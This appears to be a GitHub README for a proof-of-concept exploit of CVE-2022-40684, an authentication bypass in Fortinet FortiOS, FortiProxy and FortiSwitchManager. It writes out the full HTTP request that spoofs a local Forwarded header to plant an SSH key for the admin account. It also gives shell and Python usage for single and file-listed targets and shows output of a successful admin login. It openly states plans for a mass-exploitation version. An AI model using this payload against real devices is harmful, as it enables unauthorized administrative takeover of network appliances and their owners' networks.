iveresk / CVE-2022-40684

CVE-2022-40684 by 1vere$k

For now it's a POC copy for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
Coppied from https://github.com/horizon3ai/CVE-2022-40684

Analysis

The exploit uses the simple payload:

		PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610
        {
        "ssh-public-key1": "fake-key"
        }

Summary

This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.

Future Plans

Develop it for a full scale exploit with multi-targets and multi-servers for mass exploit.

CLI Usage

1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <TARGET_IP>
 or
2. ./cve-2022-40684 <FILE_NAME>

Example:
./cve-2022-40684.sh ips.txt

PyUsage

python3 CVE-2022-40684.py -t <TARGET_IP> --username admin --key-file ~/.ssh/id_rsa.pub
The example:

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh admin@10.0.40.67
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.